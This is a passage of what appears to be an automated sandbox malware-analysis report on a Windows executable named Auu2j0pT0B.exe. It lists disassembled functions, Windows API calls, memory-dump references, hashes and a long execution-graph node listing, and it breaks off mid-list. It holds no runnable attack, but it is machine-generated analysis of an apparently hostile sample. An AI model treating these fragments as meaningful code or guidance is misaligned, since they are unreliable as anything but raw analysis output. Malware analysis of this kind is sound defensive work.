                    • C:\Users\user\AppData\Local\Temp\, xrefs: 00403BB4
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: Free$GlobalLibrary
                    • String ID: C:\Users\user\AppData\Local\Temp\
                    • API String ID: 1100898210-823278215
                    • Opcode ID: 522759d04011631da2fa13ba2704cf46823a2ab452b41ebb0ecea140ccdeae61
                    • Instruction ID: 378dd3650374f781d23bf779db5809bbac3881e8a2166d277484928c36cee721
                    • Opcode Fuzzy Hash: 522759d04011631da2fa13ba2704cf46823a2ab452b41ebb0ecea140ccdeae61
                    • Instruction Fuzzy Hash: 20E08C336204205BC6311F15AE05B1A77786F89B2AF01402AE8407B2628BB47C528FC8
                    Function 00405E92 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON
                    Download Yara Rule
                    APIs
                    • lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,0040310E,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Auu2j0pT0B.exe,C:\Users\user\Desktop\Auu2j0pT0B.exe,80000000,00000003), ref: 00405E98
                    • CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,0040310E,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Auu2j0pT0B.exe,C:\Users\user\Desktop\Auu2j0pT0B.exe,80000000,00000003), ref: 00405EA8
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: CharPrevlstrlen
                    • String ID: C:\Users\user\Desktop
                    • API String ID: 2709904686-1246513382
                    • Opcode ID: 4d9a109f9f2e29ac56c0736ccbd4fa6bf3a04a93e1f4050107f2eb61dc35f761
                    • Instruction ID: f09b3c5ebc87e5286f4ae90cf2a9e4f9baad7a67d9a69d6c991adc66958b5f71
                    • Opcode Fuzzy Hash: 4d9a109f9f2e29ac56c0736ccbd4fa6bf3a04a93e1f4050107f2eb61dc35f761
                    • Instruction Fuzzy Hash: 40D05EB28019209ED3226B04EC0499F73A8EF123107868826E980A61A5D7785D818AEC
                    Function 00405FCC Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON
                    Download Yara Rule
                    APIs
                    • lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FDC
                    • lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405FF4
                    • CharNextA.USER32(00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406005
                    • lstrlenA.KERNEL32(00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040600E
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: lstrlen$CharNextlstrcmpi
                    • String ID:
                    • API String ID: 190613189-0
                    • Opcode ID: 2e04212541fd7d2d0fc4f715182178ccf0de62a07a1c27cf83518a5c6c9cf375
                    • Instruction ID: b896d6fd3cda69cb85c158c7a33f171d68b8f81fed19edc6c2f6f75b2124ada4
                    • Opcode Fuzzy Hash: 2e04212541fd7d2d0fc4f715182178ccf0de62a07a1c27cf83518a5c6c9cf375
                    • Instruction Fuzzy Hash: 64F0F631104418FFC702DFA5DD00D9EBBA8EF45350B2200B9E841FB250D674DE11AB68

                    Execution Graph

                    Execution Coverage:17.5%
                    Dynamic/Decrypted Code Coverage:0%
                    Signature Coverage:8.6%
                    Total number of Nodes:2000
                    Total number of Limit Nodes:23
                    execution_graph 15372 ae9054 15412 aeaac0 15372->15412 15374 ae9060 GetStartupInfoW 15375 ae9074 HeapSetInformation 15374->15375 15377 ae907f 15374->15377 15375->15377 15413 aeaa99 HeapCreate 15377->15413 15378 ae90cd 15379 ae90d8 15378->15379 15571 ae9026 15378->15571 15414 aea919 GetModuleHandleW 15379->15414 15382 ae90de 15383 ae90e9 __RTC_Initialize 15382->15383 15384 ae9026 _fast_error_exit 66 API calls 15382->15384 15439 aea299 GetStartupInfoW 15383->15439 15384->15383 15387 ae9103 GetCommandLineA 15452 aea1fd GetEnvironmentStringsW 15387->15452 15394 ae9128 15478 ae9ebd 15394->15478 15395 ae9aca __amsg_exit 66 API calls 15395->15394 15397 ae912e 15398 ae9aca __amsg_exit 66 API calls 15397->15398 15400 ae9139 15397->15400 15398->15400 15498 ae988b 15400->15498 15401 ae9141 15402 ae914c 15401->15402 15403 ae9aca __amsg_exit 66 API calls 15401->15403 15504 ae9e59 15402->15504 15403->15402 15408 ae917c 15586 ae9aa2 15408->15586 15411 ae9181 __fcloseall 15412->15374 15413->15378 15415 aea92d 15414->15415 15416 aea936 GetProcAddress GetProcAddress GetProcAddress GetProcAddress 15414->15416 15589 aea5da 15415->15589 15417 aea980 TlsAlloc 15416->15417 15421 aea9ce TlsSetValue 15417->15421 15423 aeaa8f 15417->15423 15422 aea9df 15421->15422 15421->15423 15599 ae982a 15422->15599 15423->15382 15428 aeaa8a 15430 aea5da __mtterm 70 API calls 15428->15430 15429 aeaa27 _DecodePointerInternal 15431 aeaa3c 15429->15431 15430->15423 15431->15428 15608 aedc24 15431->15608 15434 aeaa5a _DecodePointerInternal 15435 aeaa6b 15434->15435 15435->15428 15436 aeaa6f 15435->15436 15614 aea61c 15436->15614 15438 aeaa77 GetCurrentThreadId 15438->15423 15440 aedc24 __calloc_crt 66 API calls 15439->15440 15441 aea2b7 15440->15441 15443 aedc24 __calloc_crt 66 API calls 15441->15443 15446 aea3ac 15441->15446 15447 ae90f7 15441->15447 15448 aea42c 15441->15448 15442 aea462 GetStdHandle 15442->15448 15443->15441 15444 aea4c6 SetHandleCount 15444->15447 15445 aea474 GetFileType 15445->15448 15446->15448 15449 aea3d8 GetFileType 15446->15449 15450 aea3e3 InitializeCriticalSectionAndSpinCount 15446->15450 15447->15387 15579 ae9aca 15447->15579 15448->15442 15448->15444 15448->15445 15451 aea49a InitializeCriticalSectionAndSpinCount 15448->15451 15449->15446 15449->15450 15450->15446 15450->15447 15451->15447 15451->15448 15453 ae9113 15452->15453 15455 aea219 15452->15455 15465 aea13d 15453->15465 15454 aea22e WideCharToMultiByte 15456 aea24e 15454->15456 15457 aea286 FreeEnvironmentStringsW 15454->15457 15455->15454 15455->15455 15458 aedbda __malloc_crt 66 API calls 15456->15458 15457->15453 15459 aea254 15458->15459 15459->15457 15460 aea25c WideCharToMultiByte 15459->15460 15461 aea26e 15460->15461 15462 aea27a FreeEnvironmentStringsW 15460->15462 15463 aec318 _free 66 API calls 15461->15463 15462->15453 15464 aea276 15463->15464 15464->15462 15466 aea157 GetModuleFileNameA 15465->15466 15467 aea152 15465->15467 15469 aea17e 15466->15469 15862 aeca40 15467->15862 15856 ae9f9e 15469->15856 15472 ae911d 15472->15394 15472->15395 15473 aea1ba 15474 aedbda __malloc_crt 66 API calls 15473->15474 15475 aea1c0 15474->15475 15475->15472 15476 ae9f9e _parse_cmdline 76 API calls 15475->15476 15477 aea1da 15476->15477 15477->15472 15479 ae9ec6 15478->15479 15482 ae9ecb _strlen 15478->15482 15481 aeca40 ___initmbctable 94 API calls 15479->15481 15480 ae9ed9 15480->15397 15481->15482 15482->15480 15483 aedc24 __calloc_crt 66 API calls 15482->15483 15484 ae9f00 _strlen 15483->15484 15484->15480 15485 ae9f4f 15484->15485 15487 aedc24 __calloc_crt 66 API calls 15484->15487 15488 ae9f75 15484->15488 15491 ae9f8c 15484->15491 16303 aedb76 15484->16303 15486 aec318 _free 66 API calls 15485->15486 15486->15480 15487->15484 15490 aec318 _free 66 API calls 15488->15490 15490->15480 15492 aeafa1 __invoke_watson 10 API calls 15491->15492 15494 ae9f98 15492->15494 15493 aedb59 __wincmdln 76 API calls 15493->15494 15494->15493 15496 aea02a 15494->15496 15495 aea128 15495->15397 15496->15495 15497 aedb59 76 API calls __wincmdln 15496->15497 15497->15496 15500 ae9899 __IsNonwritableInCurrentImage 15498->15500 16312 aed5c5 15500->16312 15501 ae98b7 __initterm_e 15503 ae98d8 __IsNonwritableInCurrentImage 15501->15503 16315 aed5a9 15501->16315 15503->15401 15505 ae9e6c 15504->15505 15506 ae9e67 15504->15506 15508 ae9152 15505->15508 15509 aedb59 __wincmdln 76 API calls 15505->15509 15507 aeca40 ___initmbctable 94 API calls 15506->15507 15507->15505 15510 ad59a6 GetModuleHandleW 15508->15510 15509->15505 16380 ad6c5c GetCommandLineW CommandLineToArgvW 15510->16380 15512 ad5abf 15515 ad5ae3 15512->15515 15565 ad59fe 15512->15565 16405 ad8417 15512->16405 16414 ad60af 15515->16414 15516 ad5bc5 16534 ad68fb 15516->16534 15520 ad59f8 _memset _wcsrchr 15520->15512 15522 ae921c __NMSG_WRITE 66 API calls 15520->15522 15520->15565 15526 ad5a50 PathRemoveExtensionW 15522->15526 15523 ad5bd9 15533 ad5be3 15523->15533 16549 ad6463 15523->16549 15524 ad5bd4 16595 ada414 15524->16595 16574 aede40 15526->16574 15530 ad5a77 GetEnvironmentVariableW 16576 ae9284 15530->16576 15531 ad5c07 16560 ad84c7 GetLocalTime 15531->16560 15533->15531 16605 ad5cda 15533->16605 15543 ad5b60 #17 GetTickCount 16444 ad621f GetProcessHeap HeapAlloc 15543->16444 15544 ad5c39 15549 ad5c4d 15544->15549 16638 ad8e6f GetProcessHeap HeapFree 15544->16638 15547 ad84c7 118 API calls 15547->15544 15552 ad5c5d CloseHandle 15549->15552 15553 ad5c6b 15549->15553 15550 ad5b90 GetTickCount 16480 ad5945 15550->16480 15552->15553 15555 ad5c7a 15553->15555 15557 ad8e6f 3 API calls 15553->15557 15558 ad5c8f 15555->15558 15560 ad8e6f 3 API calls 15555->15560 15556 ad5b99 15556->15516 16492 ad5e0b 15556->16492 15557->15555 15559 ad5c9e 15558->15559 15561 ad8e6f 3 API calls 15558->15561 15562 ad5cad 15559->15562 15564 ad8e6f 3 API calls 15559->15564 15560->15558 15561->15559 15566 ae91d5 __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 15562->15566 15564->15562 15565->15516 16587 ad854a 15565->16587 15567 ad5ccf 15566->15567 15567->15408 15568 ae9a6c 15567->15568 18682 ae9927 15568->18682 15572 ae9039 15571->15572 15573 ae9034 15571->15573 15575 ae9b18 __NMSG_WRITE 66 API calls 15572->15575 15574 ae9ccc __FF_MSGBANNER 66 API calls 15573->15574 15574->15572 15576 ae9041 15575->15576 15577 ae97f1 __mtinitlocknum 3 API calls 15576->15577 15578 ae904b 15577->15578 15578->15379 15580 ae9ccc __FF_MSGBANNER 66 API calls 15579->15580 15581 ae9ad4 15580->15581 15582 ae9b18 __NMSG_WRITE 66 API calls 15581->15582 15583 ae9adc 15582->15583 18712 ae9a87 15583->18712 15587 ae9927 _doexit 66 API calls 15586->15587 15588 ae9aad 15587->15588 15588->15411 15590 aea5f3 15589->15590 15591 aea5e4 _DecodePointerInternal 15589->15591 15592 aea604 TlsFree 15590->15592 15593 aea612 15590->15593 15591->15590 15592->15593 15594 aed09a DeleteCriticalSection 15593->15594 15595 aed0b2 15593->15595 15627 aec318 15594->15627 15597 aea932 15595->15597 15598 aed0c4 DeleteCriticalSection 15595->15598 15597->15382 15598->15595 15653 aea539 _EncodePointerInternal 15599->15653 15601 ae9832 __init_pointers __initp_misc_winsig 15654 aed019 _EncodePointerInternal 15601->15654 15603 ae9858 _EncodePointerInternal _EncodePointerInternal _EncodePointerInternal _EncodePointerInternal 15604 aed02f 15603->15604 15605 aed03a 15604->15605 15606 aed044 InitializeCriticalSectionAndSpinCount 15605->15606 15607 aeaa23 15605->15607 15606->15605 15606->15607 15607->15428 15607->15429 15610 aedc2d 15608->15610 15611 aeaa52 15610->15611 15612 aedc4b Sleep 15610->15612 15655 af1603 15610->15655 15611->15428 15611->15434 15613 aedc60 15612->15613 15613->15610 15613->15611 15666 aeaac0 15614->15666 15616 aea628 GetModuleHandleW 15667 aed1bd 15616->15667 15618 aea666 InterlockedIncrement 15674 aea6be 15618->15674 15621 aed1bd __lock 64 API calls 15622 aea687 15621->15622 15677 aeca63 InterlockedIncrement 15622->15677 15624 aea6a5 15689 aea6c7 15624->15689 15626 aea6b2 __fcloseall 15626->15438 15628 aec323 HeapFree 15627->15628 15629 aec34c _free 15627->15629 15628->15629 15630 aec338 15628->15630 15629->15593 15633 aeb059 15630->15633 15636 aea6d5 GetLastError 15633->15636 15635 aeb05e GetLastError 15635->15629 15650 aea57f TlsGetValue 15636->15650 15639 aea742 SetLastError 15639->15635 15640 aedc24 __calloc_crt 62 API calls 15641 aea700 15640->15641 15641->15639 15642 aea708 _DecodePointerInternal 15641->15642 15643 aea71d 15642->15643 15644 aea739 15643->15644 15645 aea721 15643->15645 15647 aec318 _free 62 API calls 15644->15647 15646 aea61c __getptd_noexit 62 API calls 15645->15646 15648 aea729 GetCurrentThreadId 15646->15648 15649 aea73f 15647->15649 15648->15639 15649->15639 15651 aea5af 15650->15651 15652 aea594 _DecodePointerInternal TlsSetValue 15650->15652 15651->15639 15651->15640 15652->15651 15653->15601 15654->15603 15656 af160f 15655->15656 15662 af162a 15655->15662 15657 af161b 15656->15657 15656->15662 15658 aeb059 __mtinitlocknum 65 API calls 15657->15658 15660 af1620 15658->15660 15659 af163d HeapAlloc 15661 af1664 15659->15661 15659->15662 15660->15610 15661->15610 15662->15659 15662->15661 15664 aed44a _DecodePointerInternal 15662->15664 15665 aed45f 15664->15665 15665->15662 15666->15616 15668 aed1e5 EnterCriticalSection 15667->15668 15669 aed1d2 15667->15669 15668->15618 15692 aed0f6 15669->15692 15671 aed1d8 15671->15668 15672 ae9aca __amsg_exit 65 API calls 15671->15672 15673 aed1e4 15672->15673 15673->15668 15854 aed0da LeaveCriticalSection 15674->15854 15676 aea680 15676->15621 15678 aeca84 15677->15678 15679 aeca81 InterlockedIncrement 15677->15679 15680 aeca8e InterlockedIncrement 15678->15680 15681 aeca91 15678->15681 15679->15678 15680->15681 15682 aeca9e 15681->15682 15683 aeca9b InterlockedIncrement 15681->15683 15684 aecaa8 InterlockedIncrement 15682->15684 15686 aecaab 15682->15686 15683->15682 15684->15686 15685 aecac4 InterlockedIncrement 15685->15686 15686->15685 15687 aecad4 InterlockedIncrement 15686->15687 15688 aecadf InterlockedIncrement 15686->15688 15687->15686 15688->15624 15855 aed0da LeaveCriticalSection 15689->15855 15691 aea6ce 15691->15626 15693 aed102 __fcloseall 15692->15693 15706 aed128 15693->15706 15717 ae9ccc 15693->15717 15700 aed14a 15704 aeb059 __mtinitlocknum 65 API calls 15700->15704 15701 aed159 15705 aed1bd __lock 65 API calls 15701->15705 15702 aed138 __fcloseall 15702->15671 15704->15702 15707 aed160 15705->15707 15706->15702 15753 aedbda 15706->15753 15708 aed168 InitializeCriticalSectionAndSpinCount 15707->15708 15709 aed193 15707->15709 15711 aed184 15708->15711 15712 aed178 15708->15712 15710 aec318 _free 65 API calls 15709->15710 15710->15711 15758 aed1af 15711->15758 15713 aec318 _free 65 API calls 15712->15713 15714 aed17e 15713->15714 15716 aeb059 __mtinitlocknum 65 API calls 15714->15716 15716->15711 15761 aedabd 15717->15761 15719 ae9cd3 15720 ae9ce0 15719->15720 15721 aedabd __NMSG_WRITE 66 API calls 15719->15721 15722 ae9b18 __NMSG_WRITE 66 API calls 15720->15722 15724 ae9d02 15720->15724 15721->15720 15723 ae9cf8 15722->15723 15725 ae9b18 __NMSG_WRITE 66 API calls 15723->15725 15726 ae9b18 15724->15726 15725->15724 15727 ae9b39 __NMSG_WRITE 15726->15727 15729 aedabd __NMSG_WRITE 63 API calls 15727->15729 15749 ae9c55 15727->15749 15731 ae9b53 15729->15731 15730 ae9cc5 15750 ae97f1 15730->15750 15732 ae9c64 GetStdHandle 15731->15732 15733 aedabd __NMSG_WRITE 63 API calls 15731->15733 15736 ae9c72 _strlen 15732->15736 15732->15749 15734 ae9b64 15733->15734 15734->15732 15735 ae9b76 15734->15735 15735->15749 15786 ae921c 15735->15786 15739 ae9ca8 WriteFile 15736->15739 15736->15749 15739->15749 15740 ae9ba2 GetModuleFileNameW 15741 ae9bc3 15740->15741 15746 ae9bcf _wcslen 15740->15746 15742 ae921c __NMSG_WRITE 63 API calls 15741->15742 15742->15746 15743 aeafa1 __invoke_watson 10 API calls 15743->15746 15744 aed951 63 API calls __NMSG_WRITE 15744->15746 15746->15743 15746->15744 15747 ae9c45 15746->15747 15795 aed9cb 15746->15795 15804 aed7e0 15747->15804 15822 ae91d5 15749->15822 15832 ae97c1 GetModuleHandleW 15750->15832 15756 aedbe3 15753->15756 15755 aed143 15755->15700 15755->15701 15756->15755 15757 aedbfa Sleep 15756->15757 15836 aecdb5 15756->15836 15757->15756 15853 aed0da LeaveCriticalSection 15758->15853 15760 aed1b6 15760->15702 15762 aedac9 15761->15762 15763 aeb059 __mtinitlocknum 66 API calls 15762->15763 15764 aedad3 15762->15764 15765 aedaec 15763->15765 15764->15719 15768 aeaffd 15765->15768 15771 aeafcb _DecodePointerInternal 15768->15771 15772 aeafe0 15771->15772 15777 aeafa1 15772->15777 15774 aeaff7 15775 aeafcb __woutput_s_l 10 API calls 15774->15775 15776 aeb009 15775->15776 15776->15719 15780 aeae73 15777->15780 15781 aeae92 _memset __call_reportfault 15780->15781 15782 aeaeb0 IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 15781->15782 15783 aeaf7e __call_reportfault 15782->15783 15784 ae91d5 __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 15783->15784 15785 aeaf9a GetCurrentProcess TerminateProcess 15784->15785 15785->15774 15787 ae922a 15786->15787 15788 ae9231 15786->15788 15787->15788 15793 ae9252 15787->15793 15789 aeb059 __mtinitlocknum 66 API calls 15788->15789 15790 ae9236 15789->15790 15791 aeaffd __woutput_s_l 11 API calls 15790->15791 15792 ae9240 15791->15792 15792->15740 15792->15746 15793->15792 15794 aeb059 __mtinitlocknum 66 API calls 15793->15794 15794->15790 15799 aed9dd 15795->15799 15796 aed9e1 15797 aed9e6 15796->15797 15798 aeb059 __mtinitlocknum 66 API calls 15796->15798 15797->15746 15800 aed9fd 15798->15800 15799->15796 15799->15797 15802 aeda24 15799->15802 15801 aeaffd __woutput_s_l 11 API calls 15800->15801 15801->15797 15802->15797 15803 aeb059 __mtinitlocknum 66 API calls 15802->15803 15803->15800 15830 aea539 _EncodePointerInternal 15804->15830 15806 aed806 15807 aed816 LoadLibraryW 15806->15807 15809 aed893 15806->15809 15808 aed82b GetProcAddress 15807->15808 15810 aed92b 15807->15810 15808->15810 15813 aed841 7 API calls 15808->15813 15814 aed8ad _DecodePointerInternal _DecodePointerInternal 15809->15814 15820 aed8c0 15809->15820 15815 ae91d5 __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 15810->15815 15811 aed91f _DecodePointerInternal 15811->15810 15812 aed8f6 _DecodePointerInternal 15812->15811 15816 aed8fd 15812->15816 15813->15809 15817 aed883 GetProcAddress _EncodePointerInternal 15813->15817 15814->15820 15818 aed94a 15815->15818 15816->15811 15819 aed910 _DecodePointerInternal 15816->15819 15817->15809 15818->15749 15819->15811 15821 aed8e3 15819->15821 15820->15811 15820->15812 15820->15821 15821->15811 15823 ae91df IsDebuggerPresent 15822->15823 15824 ae91dd 15822->15824 15831 aede27 15823->15831 15824->15730 15827 aeae21 SetUnhandledExceptionFilter UnhandledExceptionFilter 15828 aeae3e __call_reportfault 15827->15828 15829 aeae46 GetCurrentProcess TerminateProcess 15827->15829 15828->15829 15829->15730 15830->15806 15831->15827 15833 ae97ea ExitProcess 15832->15833 15834 ae97d5 GetProcAddress 15832->15834 15834->15833 15835 ae97e5 15834->15835 15835->15833 15837 aece32 15836->15837 15846 aecdc3 15836->15846 15838 aed44a _malloc _DecodePointerInternal 15837->15838 15839 aece38 15838->15839 15841 aeb059 __mtinitlocknum 65 API calls 15839->15841 15840 ae9ccc __FF_MSGBANNER 65 API calls 15847 aecdce 15840->15847 15842 aece2a 15841->15842 15842->15756 15843 aecdf1 RtlAllocateHeap 15843->15842 15843->15846 15844 ae9b18 __NMSG_WRITE 65 API calls 15844->15847 15845 aece1e 15849 aeb059 __mtinitlocknum 65 API calls 15845->15849 15846->15843 15846->15845 15846->15847 15848 aed44a _malloc _DecodePointerInternal 15846->15848 15851 aece1c 15846->15851 15847->15840 15847->15844 15847->15846 15850 ae97f1 __mtinitlocknum 3 API calls 15847->15850 15848->15846 15849->15851 15850->15847 15852 aeb059 __mtinitlocknum 65 API calls 15851->15852 15852->15842 15853->15760 15854->15676 15855->15691 15858 ae9fbd 15856->15858 15861 aea02a 15858->15861 15866 aedb59 15858->15866 15859 aea128 15859->15472 15859->15473 15860 aedb59 76 API calls __wincmdln 15860->15861 15861->15859 15861->15860 15863 aeca50 15862->15863 15864 aeca49 15862->15864 15863->15466 16190 aec8a1 15864->16190 15869 aedb01 15866->15869 15872 ae92e9 15869->15872 15873 ae92fc 15872->15873 15877 ae9349 15872->15877 15880 aea753 15873->15880 15876 ae9329 15876->15877 15900 aec589 15876->15900 15877->15858 15881 aea6d5 __getptd_noexit 66 API calls 15880->15881 15882 aea75b 15881->15882 15883 ae9301 15882->15883 15884 ae9aca __amsg_exit 66 API calls 15882->15884 15883->15876 15885 aecd37 15883->15885 15884->15883 15886 aecd43 __fcloseall 15885->15886 15887 aea753 __getptd 66 API calls 15886->15887 15888 aecd48 15887->15888 15889 aecd76 15888->15889 15890 aecd5a 15888->15890 15891 aed1bd __lock 66 API calls 15889->15891 15892 aea753 __getptd 66 API calls 15890->15892 15893 aecd7d 15891->15893 15894 aecd5f 15892->15894 15916 aecce5 15893->15916 15898 aecd6d __fcloseall 15894->15898 15899 ae9aca __amsg_exit 66 API calls 15894->15899 15898->15876 15899->15898 15901 aec595 __fcloseall 15900->15901 15902 aea753 __getptd 66 API calls 15901->15902 15903 aec59a 15902->15903 15904 aed1bd __lock 66 API calls 15903->15904 15913 aec5ac 15903->15913 15905 aec5ca 15904->15905 15906 aec613 15905->15906 15908 aec5fb InterlockedIncrement 15905->15908 15909 aec5e1 InterlockedDecrement 15905->15909 16186 aec624 15906->16186 15907 aec5ba __fcloseall 15907->15877 15908->15906 15909->15908 15912 aec5ec 15909->15912 15911 ae9aca __amsg_exit 66 API calls 15911->15907 15912->15908 15914 aec318 _free 66 API calls 15912->15914 15913->15907 15913->15911 15915 aec5fa 15914->15915 15915->15908 15917 aecd27 15916->15917 15918 aeccf2 15916->15918 15924 aecda4 15917->15924 15918->15917 15919 aeca63 ___addlocaleref 8 API calls 15918->15919 15920 aecd08 15919->15920 15920->15917 15927 aecaf7 15920->15927 16185 aed0da LeaveCriticalSection 15924->16185 15926 aecdab 15926->15894 15928 aecb8b 15927->15928 15929 aecb08 InterlockedDecrement 15927->15929 15928->15917 15941 aecb95 15928->15941 15930 aecb1d InterlockedDecrement 15929->15930 15931 aecb20 15929->15931 15930->15931 15932 aecb2d 15931->15932 15933 aecb2a InterlockedDecrement 15931->15933 15934 aecb3a 15932->15934 15935 aecb37 InterlockedDecrement 15932->15935 15933->15932 15936 aecb44 InterlockedDecrement 15934->15936 15938 aecb47 15934->15938 15935->15934 15936->15938 15937 aecb60 InterlockedDecrement 15937->15938 15938->15937 15939 aecb70 InterlockedDecrement 15938->15939 15940 aecb7b InterlockedDecrement 15938->15940 15939->15938 15940->15928 15942 aecc19 15941->15942 15943 aecbac 15941->15943 15944 aecc66 15942->15944 15945 aec318 _free 66 API calls 15942->15945 15943->15942 15952 aec318 _free 66 API calls 15943->15952 15969 aecbe0 15943->15969 15960 aecc8f 15944->15960 16011 af0ad1 15944->16011 15947 aecc3a 15945->15947 15949 aec318 _free 66 API calls 15947->15949 15954 aecc4d 15949->15954 15950 aec318 _free 66 API calls 15957 aecc0e 15950->15957 15951 aeccd4 15958 aec318 _free 66 API calls 15951->15958 15959 aecbd5 15952->15959 15953 aec318 _free 66 API calls 15953->15960 15956 aec318 _free 66 API calls 15954->15956 15955 aec318 _free 66 API calls 15961 aecbf6 15955->15961 15962 aecc5b 15956->15962 15964 aec318 _free 66 API calls 15957->15964 15965 aeccda 15958->15965 15971 af0ebb 15959->15971 15960->15951 15963 aec318 66 API calls _free 15960->15963 15999 af0e4d 15961->15999 15968 aec318 _free 66 API calls 15962->15968 15963->15960 15964->15942 15965->15917 15968->15944 15969->15955 15970 aecc01 15969->15970 15970->15950 15972 af0ecc 15971->15972 15998 af0fb5 15971->15998 15973 af0edd 15972->15973 15974 aec318 _free 66 API calls 15972->15974 15975 af0eef 15973->15975 15976 aec318 _free 66 API calls 15973->15976 15974->15973 15977 af0f01 15975->15977 15979 aec318 _free 66 API calls 15975->15979 15976->15975 15978 af0f13 15977->15978 15980 aec318 _free 66 API calls 15977->15980 15981 af0f25 15978->15981 15982 aec318 _free 66 API calls 15978->15982 15979->15977 15980->15978 15983 af0f37 15981->15983 15984 aec318 _free 66 API calls 15981->15984 15982->15981 15985 af0f49 15983->15985 15987 aec318 _free 66 API calls 15983->15987 15984->15983 15986 af0f5b 15985->15986 15988 aec318 _free 66 API calls 15985->15988 15989 af0f6d 15986->15989 15990 aec318 _free 66 API calls 15986->15990 15987->15985 15988->15986 15991 aec318 _free 66 API calls 15989->15991 15992 af0f7f 15989->15992 15990->15989 15991->15992 15993 af0f91 15992->15993 15995 aec318 _free 66 API calls 15992->15995 15994 af0fa3 15993->15994 15996 aec318 _free 66 API calls 15993->15996 15997 aec318 _free 66 API calls 15994->15997 15994->15998 15995->15993 15996->15994 15997->15998 15998->15969 16000 af0e5a 15999->16000 16010 af0eb2 15999->16010 16001 aec318 _free 66 API calls 16000->16001 16005 af0e6a 16000->16005 16001->16005 16002 aec318 _free 66 API calls 16004 af0e7c 16002->16004 16003 af0e8e 16007 af0ea0 16003->16007 16008 aec318 _free 66 API calls 16003->16008 16004->16003 16006 aec318 _free 66 API calls 16004->16006 16005->16002 16005->16004 16006->16003 16009 aec318 _free 66 API calls 16007->16009 16007->16010 16008->16007 16009->16010 16010->15970 16012 aecc84 16011->16012 16013 af0ae2 16011->16013 16012->15953 16014 aec318 _free 66 API calls 16013->16014 16015 af0aea 16014->16015 16016 aec318 _free 66 API calls 16015->16016 16017 af0af2 16016->16017 16018 aec318 _free 66 API calls 16017->16018 16019 af0afa 16018->16019 16020 aec318 _free 66 API calls 16019->16020 16021 af0b02 16020->16021 16022 aec318 _free 66 API calls 16021->16022 16023 af0b0a 16022->16023 16024 aec318 _free 66 API calls 16023->16024 16025 af0b12 16024->16025 16026 aec318 _free 66 API calls 16025->16026 16027 af0b19 16026->16027 16028 aec318 _free 66 API calls 16027->16028 16029 af0b21 16028->16029 16030 aec318 _free 66 API calls 16029->16030 16031 af0b29 16030->16031 16032 aec318 _free 66 API calls 16031->16032 16033 af0b31 16032->16033 16034 aec318 _free 66 API calls 16033->16034 16035 af0b39 16034->16035 16036 aec318 _free 66 API calls 16035->16036 16037 af0b41 16036->16037 16038 